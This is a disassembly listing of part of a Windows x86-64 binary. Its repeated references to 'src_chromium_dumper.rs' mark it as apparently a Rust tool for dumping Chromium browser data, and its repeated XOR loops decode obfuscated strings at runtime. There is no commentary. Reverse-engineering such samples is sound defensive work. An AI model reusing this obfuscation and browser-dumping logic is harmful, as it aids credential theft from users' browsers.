mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x117]
mov qword [rsp + 0x1a7], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x2c8], 0xf
lea rax, [rsp + 0x3b8]
mov qword [rsp + 0x288], rax
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x1e0], rax
lea rax, [0x140076e7c]
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0x288]
mov qword [rsp + 0x1f0], rax
lea rax, [0x140294267]
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x20], 2
mov r8d, 3
mov rcx, r13
lea rdx, [0x1404466b0]
mov r9, r14
call fcn.140004cc3
mov rcx, r13
call fcn.1402594b0
mov rcx, r13
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x190]
call fcn.140265730
mov rcx, r14
mov rdx, r13
call fcn.14000805b
lea rcx, [0x1403a0090]
mov rdx, r14
call fcn.140007364
mov rcx, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x118]
call fcn.1400a290b
lea rax, [0x140439d4d]
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
movabs rax, 0xa117154772d5ff00
mov qword [rsp + 0x110], rax
mov rdx, qword [rsp + 0x110]
call fcn.140140783
and qword [rsp + 0x110], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x14011b3ac
lea r15, [0x140447b1f]
movzx r8d, byte [rcx + r15]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r15]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r15]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r15]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r15]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r15]
mov rdi, rcx
or rdi, 6
mov rbp, rcx
or rbp, 7
movzx edi, byte [rdi + r15]
movzx ebp, byte [rbp + r15]
shl rbp, 0x38
shl rdi, 0x30
or rdi, rbp
lea rbp, [0x140007e8f]
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, rdi
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x110], rdx
mov ecx, 8
xor edx, edx
jmp 0x14011b2f2
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0x8d36
mov word [rsp + 0x118], ax
xor cl, 0xe7
mov byte [rsp + 0x11a], cl
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x390], rax
mov eax, dword [rsp + 0x117]
mov dword [rsp + 0x397], eax
lea rax, [rsp + 0x390]
mov qword [rsp + 0x480], rax
mov qword [rsp + 0x488], 0xb
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x190]
call fcn.140265730
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.14000805b
mov rsi, qword [rsp + 0x1a0]
mov r8, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x288]
mov rdx, rsi
call fcn.14004b6a0
mov rdi, qword [rsp + 0x288]
mov r8, qword [rsp + 0x298]
mov rcx, r13
mov rdx, rdi
call fcn.14012ef67
mov rcx, r13
call fcn.14012ef9c
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], rdx
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rbp
lea rax, [rsp + 0x480]
mov qword [rsp + 0x120], rax
lea rcx, [0x140076e7c]
mov qword [rsp + 0x128], rcx
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], rbp
lea rax, [rsp + 0x370]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rcx
mov qword [rsp + 0x20], 4
mov r8d, 4
mov rcx, r14
lea rdx, [0x140447a10]
mov r9, r13
call fcn.140004cc3
lea rcx, [rsp + 0x340]
mov rdx, r14
call fcn.14012d661
mov rdx, qword [rsp + 0x290]
mov rcx, rdi
call fcn.14015e77d
mov rdx, qword [rsp + 0x1a8]
mov rcx, rsi
call fcn.14015e77d
mov rcx, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
call fcn.1400a290b
mov rsi, qword [rsp + 0x340]
mov r15, qword [rsp + 0x348]
mov r8, qword [rsp + 0x350]
mov rcx, r13
mov rdx, rsi
call fcn.14004ac70
mov rdi, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x120]
mov rcx, rdi
call fcn.14013be75
mov qword [rsp + 0x1e0], rax
mov rcx, r14
call fcn.140098e8a
mov rdx, qword [rsp + 0x118]
mov rcx, rdi
call fcn.14015e77d
mov rcx, rsi
mov rdx, r15
call fcn.14015e77d
lea rax, [0x140442bd3]
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
movabs rax, 0xf649b2cd725f889f
mov qword [rsp + 0x110], rax
mov rdx, qword [rsp + 0x110]
call fcn.140140042
and dword [rsp + 0x118], 0
and qword [rsp + 0x110], 0
mov dl, 1
xor ecx, ecx
lea r15, [0x140447b48]
test dl, 1
je 0x14011b6cc
movzx r8d, byte [rcx + r15]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r15]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r15]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r15]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r15]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r15]
mov rbp, rcx
or rbp, 7
mov rdi, rcx
or rdi, 6
movzx edi, byte [rdi + r15]
movzx ebp, byte [rbp + r15]
shl rbp, 0x38
shl rdi, 0x30
or rdi, rbp
lea rbp, [0x140007e8f]
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, rdi
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x110], rdx
mov ecx, 8
xor edx, edx
jmp 0x14011b619
mov ecx, 8
cmp rcx, 0xb
ja 0x14011b6fe
movzx edx, byte [rcx + r15 + 2]
shl edx, 0x10
movzx r8d, word [rcx + r15]
add edx, r8d
add edx, 0xb000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x110], edx
add rcx, 4
jmp 0x14011b6d1
movzx eax, word [rax + 0xc]
xor eax, 0xca62
mov word [rsp + 0x11c], ax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0x116]
mov qword [rsp + 0x396], rax
lea rax, [rsp + 0x390]
mov qword [rsp + 0x480], rax
mov qword [rsp + 0x488], 0xe
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x190]
call fcn.140265730
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.14000805b
mov rsi, qword [rsp + 0x1a0]
mov r8, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x288]
mov rdx, rsi
call fcn.14004b6a0
mov rdi, qword [rsp + 0x288]
mov r8, qword [rsp + 0x298]
mov rcx, r13
mov rdx, rdi
call fcn.14012ef67
mov rcx, r13
call fcn.14012ef9c
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], rdx
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rbp
lea rax, [rsp + 0x480]
mov qword [rsp + 0x120], rax
lea rcx, [0x140076e7c]
mov qword [rsp + 0x128], rcx
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], rbp
lea rax, [rsp + 0x370]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rcx
mov qword [rsp + 0x20], 4
mov r8d, 4
mov rcx, r14
lea rdx, [0x140447a10]
mov r9, r13
call fcn.140004cc3
lea rcx, [rsp + 0x340]
mov rdx, r14
call fcn.14012d661
mov rdx, qword [rsp + 0x290]
mov rcx, rdi
call fcn.14015e77d
mov rdx, qword [rsp + 0x1a8]
mov rcx, rsi
call fcn.14015e77d
mov rcx, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
call fcn.1400a290b
mov rsi, qword [rsp + 0x340]
mov r15, qword [rsp + 0x348]
mov r8, qword [rsp + 0x350]
mov rcx, r13
mov rdx, rsi
call fcn.14004ac70
mov rdi, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x120]
mov rcx, rdi
call fcn.14013be75
mov qword [rsp + 0x1e0], rax
mov rcx, r14
call fcn.140098e8a
mov rdx, qword [rsp + 0x118]
mov rcx, rdi
call fcn.14015e77d
mov rcx, rsi
mov rdx, r15
call fcn.14015e77d
lea rax, [0x14043fe55]
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
movabs rax, 0xdbdbcb4dee65dc7d
mov qword [rsp + 0x110], rax
mov rdx, qword [rsp + 0x110]
call fcn.14013e019
and qword [rsp + 0x110], 0
mov dl, 1
xor ecx, ecx
lea r15, [0x140447b70]
test dl, 1
je 0x14011ba0a
movzx r8d, byte [rcx + r15]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r15]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r15]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r15]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r15]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r15]
mov rdi, rcx
or rdi, 6
mov rbp, rcx
or rbp, 7
movzx edi, byte [rdi + r15]
movzx ebp, byte [rbp + r15]
shl rbp, 0x38
shl rdi, 0x30
or rdi, rbp
lea rbp, [0x140007e8f]
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, rdi
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x110], rdx
mov ecx, 8
xor edx, edx
jmp 0x14011b957
movzx eax, word [rax + 8]
xor eax, 0x1be5
mov rcx, qword [rsp + 0x110]
mov qword [rsp + 0x390], rcx
mov word [rsp + 0x398], ax
lea rax, [rsp + 0x390]
mov qword [rsp + 0x480], rax
mov qword [rsp + 0x488], 0xa
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x190]
call fcn.140265730
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.14000805b
mov rdi, qword [rsp + 0x1a0]
mov r8, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x288]
mov rdx, rdi
call fcn.14004b6a0
mov rsi, qword [rsp + 0x288]
mov r8, qword [rsp + 0x298]
mov rcx, r13
mov rdx, rsi
call fcn.14012ef67
mov rcx, r13
call fcn.14012ef9c
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], rdx
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rbp
lea rax, [rsp + 0x480]
mov qword [rsp + 0x120], rax
lea rcx, [0x140076e7c]
mov qword [rsp + 0x128], rcx
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], rbp
lea rax, [rsp + 0x370]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rcx
mov qword [rsp + 0x20], 4
mov r8d, 4
mov rcx, r14
lea rdx, [0x140447a10]
mov r9, r13
call fcn.140004cc3
lea rcx, [rsp + 0x340]
mov rdx, r14
call fcn.14012d661
mov rdx, qword [rsp + 0x290]
mov rcx, rsi
call fcn.14015e77d
mov rdx, qword [rsp + 0x1a8]
mov rcx, rdi
call fcn.14015e77d
mov rcx, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
call fcn.1400a290b
mov rsi, qword [rsp + 0x340]
mov r15, qword [rsp + 0x348]
mov r8, qword [rsp + 0x350]
mov rcx, r13
mov rdx, rsi
call fcn.14004ac70
mov rdi, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x120]
mov rcx, rdi
call fcn.14013be75
mov qword [rsp + 0x1e0], rax
mov rcx, r14
call fcn.140098e8a
mov rdx, qword [rsp + 0x118]
mov rcx, rdi
call fcn.14015e77d
mov rcx, rsi
mov rdx, r15
call fcn.14015e77d
mov rcx, qword [rsp + 0x458]
mov rdx, qword [rsp + 0x460]
call fcn.14015e77d
mov r15, qword [rsp + 0x268]
mov rbp, qword [rsp + 0x3b0]
mov rsi, qword [rsp + 0x2b8]
mov rcx, rbp
mov rdx, rsi
call fcn.14015e77d
mov rcx, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x3d0]
call fcn.14015e77d
mov rcx, qword [rsp + 0x28]
mov rdx, r15
call fcn.14015e77d
lea rbp, [0x14043d48e]
jmp 0x14011aace
lea r14, [rsp + 0x1e0]
mov rcx, r14
call fcn.14012d777
lea rcx, [rsp + 0x2c0]
mov qword [rcx], 2
call fcn.1402825af
lea rsi, [rsp + 0x30]
mov rcx, rsi
call fcn.1400055fd
lea rax, case.0x14026c628.132
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xe4a586a9fafd325e
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013e99b
and dword [rsi + 3], 0
and dword [rsi], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x1404466fa]
test r8b, 1
je 0x14011bd2c
movzx r8d, byte [rcx + rdx]
mov r9, rcx
or r9, 1
movzx r9d, byte [r9 + rdx]
mov r10, rcx
or r10, 3
mov r11, rcx
or r11, 2
movzx r11d, byte [r11 + rdx]
movzx r10d, byte [r10 + rdx]
shl r10d, 0x18
shl r11d, 0x10
shl r9d, 8
or r9d, r8d
or r9d, r11d
or r9d, r10d
xor r9d, dword [rax + rcx]
mov dword [rsp + rcx + 0x30], r9d
mov ecx, 4
xor r8d, r8d
jmp 0x14011bcd5
movzx ecx, byte [rax + 6]
movzx eax, word [rax + 4]
xor eax, 0xa45a
xor cl, 0x7d
lea rsi, [rsp + 0x30]
mov r8d, dword [rsi]
lea rdx, [rsp + 0x288]
mov dword [rdx], r8d
mov byte [rdx + 6], cl
mov word [rdx + 4], ax
mov r8d, 7
mov rcx, rsi
call fcn.140253320
lea r8, str.src_chromium_dumper.rs
mov rcx, r14
mov rdx, rsi
call fcn.14012d60f
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x3e0], rax
mov qword [rsi], r14
mov qword [rsi + 8], rdi
lea rax, [rsp + 0x1a0]
mov qword [rsi + 0x10], rax
lea rax, [0x1401675d8]
mov qword [rsi + 0x18], rax
lea rcx, [rsp + 0x3e0]
mov qword [rsi + 0x20], rcx
mov qword [rsi + 0x28], rax
mov qword [rsp + 0x20], 3
lea rdx, [0x1404461d8]
lea rbp, [rsp + 0x110]
lea rsi, [rsp + 0x30]
mov r8d, 4
mov rcx, rbp
mov r9, rsi
call fcn.140004cc3
lea rdi, [rsp + 0x2c0]
mov rcx, rdi
mov rdx, rbp
call fcn.14012d661
mov rcx, qword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1e8]
call fcn.14015e77d
movdqu xmm0, xmmword [rdi]
movdqa xmmword [rsp + 0x5b0], xmm0
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x5c0], rax
lea rax, [0x140445b6f]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x5efa4aa30a5ee647
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013f3fa
and qword [rsi + 0x10], 0
pxor xmm0, xmm0
movdqa xmmword [rsi], xmm0
xor ecx, ecx
lea rdx, [0x140446720]
cmp rcx, 0x17
ja 0x14011be84
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], r8
add rcx, 8
jmp 0x14011be6b
movzx eax, word [rax + 0x18]
xor eax, 0xb9ca
lea r15, [rsp + 0x30]
mov word [r15 + 0x18], ax
movaps xmm0, xmmword [r15]
movaps xmmword [rsp + 0x1e0], xmm0
mov rax, qword [r15 + 0xa]
mov qword [rsp + 0x1ea], rax
mov eax, dword [r15 + 0x12]
mov dword [rsp + 0x1f2], eax
movzx eax, word [r15 + 0x16]
mov word [rsp + 0x1f6], ax
movzx eax, word [r15 + 0x18]
mov word [rsp + 0x1f8], ax
mov qword [rsp + 0x2c0], r14
mov qword [rsp + 0x2c8], 0x1a
lea rsi, [rsp + 0x110]
lea rbx, [rsp + 0x2c0]
mov qword [rsi], rbx
lea rax, [0x140076e7c]
mov qword [rsi + 8], rax
lea rdi, [rsp + 0x5b0]
mov qword [rsi + 0x10], rdi
lea rax, [0x140007e8f]
mov qword [rsi + 0x18], rax
mov qword [rsp + 0x20], 2
lea rdx, [0x1404466b0]
mov r8d, 3
mov rcx, r15
mov r9, rbp
call fcn.140004cc3
mov rcx, r15
call fcn.1402594b0
mov rax, qword [rdi + 0x10]
mov qword [rsi + 0x10], rax
movaps xmm0, xmmword [rdi]
movaps xmmword [rsi], xmm0
lea r13, [rsp + 0x30]
mov rcx, r13
mov rdx, rsi
call fcn.14014185b
mov rax, qword [r13 + 0x38]
cmp rax, 5
mov ecx, 4
cmovb rax, rcx
mov qword [r13 + 0x40], rax
lea rdx, [rsp + 0x110]
mov ecx, 0xa
mov rdi, rdx
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rsp + 0x408], xmm0
movups xmm0, xmmword [rdx]
movdqu xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x30]
movups xmmword [rsp + 0x3f8], xmm3
movups xmmword [rsp + 0x3e8], xmm2
xorps xmm2, xmm2
movups xmmword [r13 + 0x68], xmm2
movups xmmword [r13 + 0x80], xmm2
movups xmmword [r13 + 0x98], xmm2
movups xmmword [r13 + 0x40], xmm0
movdqu xmmword [r13 + 0x50], xmm1
movups xmmword [r13 + 0xa8], xmm2
and qword [r13], 0
movups xmm0, xmmword [rsp + 0x3e0]
movups xmmword [r13 + 8], xmm0
movups xmm0, xmmword [rsp + 0x3f0]
movups xmmword [r13 + 0x18], xmm0
movdqu xmm0, xmmword [rsp + 0x400]
movdqu xmmword [r13 + 0x28], xmm0
mov rax, qword [rsp + 0x410]
mov qword [r13 + 0x38], rax
mov edi, 8
mov qword [r13 + 0x60], rdi
mov qword [r13 + 0x78], rdi
mov qword [r13 + 0x90], rdi
add rdx, rdi
mov qword [rsp + 0x1d0], rdx
add rdi, rbx
lea rbx, [0x1404479b7]
lea r12, [0x1404479c2]
lea rsi, [rsp + 0x30]
mov rcx, r14
mov rdx, rsi
call fcn.1402814e5
cmp dword [rsp + 0x1e0], 3
je 0x14011d1dd
mov rcx, rbp
mov rdx, r14
call fcn.14012d74e
cmp qword [rsp + 0x110], 2
je 0x14011c055
mov ecx, 0xf
mov qword [rsp + 0x270], rdi
mov rsi, qword [rsp + 0x1d0]
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rsp + 0x308]
mov r15, qword [rsp + 0x310]
mov rcx, qword [rsp + 0x318]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x288], rax
mov qword [rsp + 0x190], rcx
mov qword [rsp + 0x290], rcx
lea rax, [0x140443a1f]
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
movabs rax, 0xb53809d230b2601
mov qword [rsp + 0x110], rax
mov rdx, qword [rsp + 0x110]
call fcn.14013e41d
and qword [rsp + 0x110], 0
mov dl, 1
xor r13d, r13d
test dl, 1
je 0x14011c1be
movzx r8d, byte [r13 + rbx]
mov rdx, r13
or rdx, 1
movzx edx, byte [rdx + rbx]
mov r9, r13
or r9, 2
movzx r9d, byte [r9 + rbx]
mov r10, r13
or r10, 3
movzx r10d, byte [r10 + rbx]
mov r11, r13
or r11, 4
movzx r11d, byte [r11 + rbx]
mov rsi, r13
or rsi, 5
movzx esi, byte [rsi + rbx]
mov rdi, r13
or rdi, 6
mov rcx, r13
or rcx, 7
movzx edi, byte [rdi + rbx]
movzx ecx, byte [rcx + rbx]
shl rcx, 0x38
shl rdi, 0x30
or rdi, rcx
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, rdi
xor rdx, qword [rax + r13]
mov qword [rsp + r13 + 0x110], rdx
mov r13d, 8
xor edx, edx
jmp 0x14011c115
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0x24a9
mov word [rsp + 0x118], ax
xor cl, 0xfc
mov byte [rsp + 0x11a], cl
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x340], rax
mov eax, dword [rsp + 0x117]
mov dword [rsp + 0x347], eax
lea rax, [rsp + 0x340]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 0xb
lea rax, [rsp + 0x288]
mov qword [rsp + 0x1e0], rax
lea rax, case.0x140256bd0.271
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x1f0], rax
lea rax, [0x140076e7c]
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x20], 2
mov r8d, 2
mov rcx, rbp
lea rdx, [0x140446248]
mov r9, r14
call fcn.140004cc3
lea rcx, [rsp + 0x2c0]
mov rdx, rbp
call fcn.14012d661
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x3d0], rax
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x268], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x290], rax
lea rax, [0x14043f1d8]
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
movabs rax, 0x265ec314dcbbcbc
mov qword [rsp + 0x110], rax
mov rdx, qword [rsp + 0x110]
call fcn.14013f534
and qword [rsp + 0x110], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x14011c3c2
movzx r8d, byte [rcx + r12]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r12]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r12]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r12]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r12]
mov rsi, rcx
or rsi, 5
movzx edi, byte [rsi + r12]
mov rsi, rcx
or rsi, 6
mov r13, rcx
or r13, 7
movzx esi, byte [rsi + r12]
movzx r13d, byte [r13 + r12]
shl r13, 0x38
shl rsi, 0x30
or rsi, r13
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, rsi
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x110], rdx
mov ecx, 8
xor edx, edx
jmp 0x14011c316
mov al, byte [rax + 8]
xor al, 0x16
mov rcx, qword [rsp + 0x110]
mov qword [rsp + 0x340], rcx
mov byte [rsp + 0x348], al
lea rax, [rsp + 0x340]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 9
lea rax, [rsp + 0x288]
mov qword [rsp + 0x1e0], rax
lea rax, case.0x140256bd0.271
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x1f0], rax
lea rax, [0x140076e7c]
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x20], 2
mov r8d, 2
mov rcx, rbp
lea rdx, [0x140446248]
mov r9, r14
call fcn.140004cc3
lea rcx, [rsp + 0x2c0]
mov rdx, rbp
call fcn.14012d661
mov rsi, qword [rsp + 0x2c0]
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x2b8], rax
mov rdi, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x268]
call fcn.14012d6e9
test al, al
je 0x14011d19e
mov rcx, rsi
mov rdx, rdi
call fcn.14012d6e9
test al, al
je 0x14011d19e
mov rdi, qword [0x1403a0090]
mov r13, qword [0x1403a00a0]
mov rcx, rbp
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x190]
call fcn.140265730
mov rcx, r14
mov rdx, rbp
call fcn.14000805b
mov qword [rsp + 0x268], rsi
mov rsi, qword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1f0]
mov rcx, rsi
mov r8, rdi
mov r9, r13
call fcn.14013c3c9
mov edi, eax
mov rdx, qword [rsp + 0x1e8]
mov rcx, rsi
mov rsi, qword [rsp + 0x268]
call fcn.14015e77d
mov rcx, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x118]
call fcn.1400a290b
test dil, dil
jne 0x14011d19e
mov qword [rsp + 0x3b0], r15
mov rcx, rbp
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x190]
call fcn.140265730
lea rcx, [rsp + 0x458]
mov rdx, rbp
call fcn.14000805b
mov rcx, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x118]
call fcn.1400a290b
mov rcx, qword [rsp + 0x458]
mov rdx, qword [rsp + 0x468]
call fcn.14025a4c0
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov rcx, rax
call fcn.1400047ef
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov qword [rsp + 0x3b8], rax
mov qword [rsp + 0x3c0], rdx
lea rax, [0x1404396f2]
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
movabs rax, 0x3a7b4a3ad4e1fbb6
mov qword [rsp + 0x110], rax
mov rdx, qword [rsp + 0x110]
call fcn.140140313
and dword [rsp + 0x118], 0
and qword [rsp + 0x110], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x14011c6d0
lea r15, [0x140447a00]
movzx r8d, byte [rcx + r15]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r15]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r15]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r15]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r15]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r15]
mov r13, rcx
or r13, 7
mov rdi, rcx
or rdi, 6
movzx edi, byte [rdi + r15]
movzx r13d, byte [r13 + r15]
shl r13, 0x38
shl rdi, 0x30
or rdi, r13
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, rdi
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x110], rdx
mov ecx, 8
xor edx, edx
jmp 0x14011c61d
mov ecx, 8
cmp rcx, 0xb
ja 0x14011c709
lea r8, [0x140447a00]
movzx edx, byte [rcx + r8 + 2]
shl edx, 0x10
movzx r8d, word [rcx + r8]
add edx, r8d
add edx, 0xc3000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x110], edx
add rcx, 4
jmp 0x14011c6d5
movzx ecx, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
xor eax, 0xf3e5
mov word [rsp + 0x11c], ax
xor cl, 0x9f
mov byte [rsp + 0x11e], cl
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x117]
mov qword [rsp + 0x1a7], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x2c8], 0xf
lea rax, [rsp + 0x3b8]
mov qword [rsp + 0x288], rax
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x1e0], rax
lea rax, [0x140076e7c]
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0x288]
mov qword [rsp + 0x1f0], rax
lea rax, [0x140294267]
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x20], 2
mov r8d, 3
mov rcx, rbp
lea rdx, [0x1404466b0]
mov r9, r14
call fcn.140004cc3
mov rcx, rbp
call fcn.1402594b0
mov rcx, rbp
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x190]
call fcn.140265730
mov rcx, r14
mov rdx, rbp
call fcn.14000805b
lea rcx, [0x1403a0090]
mov rdx, r14
call fcn.140007364
mov rcx, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x118]
call fcn.1400a290b
lea rax, [0x14043e245]
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
movabs rax, 0xf8c0478640893e17
mov qword [rsp + 0x110], rax
mov rdx, qword [rsp + 0x110]
call fcn.14013d742
and qword [rsp + 0x110], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x14011c915
lea r15, [0x140447a50]
movzx r8d, byte [rcx + r15]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r15]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r15]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r15]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r15]
